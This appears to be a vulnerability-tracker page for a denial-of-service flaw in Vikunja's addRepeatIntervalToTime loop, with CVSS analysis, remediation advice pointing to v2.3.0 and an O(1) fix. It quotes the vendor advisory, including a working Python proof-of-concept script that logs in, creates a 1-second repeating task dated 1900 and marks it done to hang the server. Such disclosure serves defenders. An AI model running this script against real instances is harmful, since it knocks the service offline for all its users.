EUVD-2026-21426
GHSA-r4fg-73rc-hhh7
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V2 - Validation and Business Logic Algorithmic complexity limits
|
| Impact | CVSS 6.5 with AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H correctly reflects the risk: network-accessible, low attack complexity, requires authentication (PR:L), no user interaction, single security function impacted (availability only). The EPSS probability cannot be quantified from provided data, but exploitation is trivial-a single authenticated user can trigger 60+ second hangs, and approximately 100 concurrent requests completely exhaust the default database connection pool, rendering the application unavailable to all users. This is not a high-CVSS-but-low-real-risk issue; rather, it represents a genuine denial of service that any authenticated user (including low-privilege accounts) can weaponize with a simple HTTP request. The attack requires no special privileges beyond user account creation, and the proof of concept confirms reliable, reproducible exploitation on v2.2.2. Authentication requirement prevents unauthenticated mass exploitation but does not materially reduce risk given that Vikunja is typically self-hosted or open-signup. |
| Exploit ScenarioDerived | An authenticated user (including a low-privilege account) creates a repeating task with repeat_after=1 second and due_date=1900-01-01 via the HTTP API, then marks it as done. The server enters the vulnerable addRepeatIntervalToTime loop, executing approximately 4 billion iterations over 60+ seconds and holding a database connection. An attacker spawning 100 concurrent requests (simple HTTP loops) exhausts all 100 connections in the default pool within seconds, causing subsequent legitimate requests to queue indefinitely and the application to become unresponsive. Proof of concept Python script provided in vulnerability report achieves timeout after 60 seconds on v2.2.2. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 10, 2026
Denial of service in Vikunja via algorithmic complexity attack in the addRepeatIntervalToTime function allows authenticated users to exhaust server CPU and database connections by creating repeating tasks with 1-second intervals and dates far in the past (e.g., 1900), triggering billions of loop iterations that hang requests for 60+ seconds and exhaust the default 100-connection pool. CVSS 6.5 with authenticated attack vector; confirmed patched in v2.3.0.
RemediationAI
Vendor-released patch: Vikunja v2.3.0 and later. Upgrade immediately to v2.3.0 or any version containing commit 6df0d6c8f54b01db6464c42810e40e55f12b481b (PR #2577), which replaces the O(n) loop with O(1) arithmetic using the formula intervals = (diff / duration) + 1. No workarounds available for users unable to upgrade immediately; mitigation requires restricting task creation permissions or implementing rate limiting at the reverse proxy level. Detailed advisory and patch available at https://github.com/go-vikunja/vikunja/pull/2577 and https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerable code at pkg/models/tasks.go:1456-1464 implements an O(n) loop that advances a date by RepeatAfter duration until exceeding current time, rather than using arithmetic to calculate the required interval count in O(1). The RepeatAfter field is validated to accept any positive integer up to 9223372036854775807, and DueDate accepts any timestamp including dates centuries in the past. When a task with repeat_after=1 second and due_date=1900-01-01 is marked complete, the loop calculates approximately 4 billion iterations (approximately 124 years × 365.25 days × 24 hours × 3600 seconds). The CWE-407 classification (Inefficient Algorithmic Complexity) accurately describes the root cause: an algorithm whose time complexity scales linearly with malicious input rather than performing equivalent computation in constant time. Each request holds a goroutine and database connection for the full duration, creating a resource exhaustion vector.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/go-vikunja/vikunja).
CVSS VectorVendor: https://github.com/go-vikunja/vikunja
Lifecycle Timeline
2DescriptionCVE.org
Summary
The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.
Details
The vulnerable function at pkg/models/tasks.go:1456-1464:
func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
for {
t = t.Add(duration)
if t.After(now) {
break
}
}
return t
}The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeat_after=1 and due_date=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).
Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests, time
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login",
json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()
# create task with repeat_after=1 second and a date far in the past
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h,
json={"title": "DoS", "repeat_after": 1,
"due_date": "1900-01-01T00:00:00Z"}).json()
# mark done - triggers the vulnerable loop
start = time.time()
try:
r = requests.post(f"{API}/tasks/{task['id']}", headers=h,
json={"title": "DoS", "done": True}, timeout=120)
print(f"Response: {r.status_code} in {time.time()-start:.1f}s")
except requests.exceptions.Timeout:
print(f"TIMEOUT after {time.time()-start:.1f}s")Output:
TIMEOUT after 60.0sThe request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, due_date=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.
Impact
Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.
Recommended Fix
Replace the O(n) loop with O(1) arithmetic:
func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
if duration <= 0 {
return t
}
diff := now.Sub(t)
if diff <= 0 {
return t.Add(duration)
}
intervals := int64(diff/duration) + 1
return t.Add(time.Duration(intervals) * duration)
}--- *Found and reported by aisafe.io*
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Related Vulnerabilities in Vikunja Multiple Authorization and Injection
View all 11Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-407 – Inefficient Algorithmic Complexity
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Exploit-DB